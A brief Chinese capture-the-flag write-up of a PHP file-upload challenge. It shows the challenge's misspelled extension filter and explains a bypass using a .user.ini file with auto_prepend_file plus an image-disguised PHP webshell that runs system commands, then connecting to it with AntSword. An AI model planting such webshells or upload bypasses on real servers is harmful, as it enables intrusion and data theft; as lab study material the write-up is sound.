还是一道文件上传题目,过滤了后缀名、<?
和文件头,phtml和php3之类的奇怪名字全部都过滤掉了,于是试着上传下.htaccess文件,没想到上传成功了,但是不知道为什么解析不了。
直接去看题目源码
过滤文件后缀:
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
可以看到其实原本是想过滤.htaccess的,但是名字拼错了。。。
接着看writeup,发现题目是想要让你利用.user.ini
文件,.user.ini
的利用方式基本上同.htaccess,并且它有两个可以利用的属性:
auto_prepend_file
auto_append_file
这两句的意思就相当于在指定的文件头部或尾部添加上一句require()
,那么如果我们先传一个图片马,再用.user.ini
包含文件,就可以getshell了。
首先构造.user.ini
GIF89a
auto_prepend_file=a.jpg
然后构造图片马
GIF89a
<script language='php'>system('cat /flag');</script>
当我们都上传上去之后,会发现上传目录下面还有一个index.php,这就很明显是要你利用这个
直接蚁剑连接uploads目录下的index.php就可以getshell。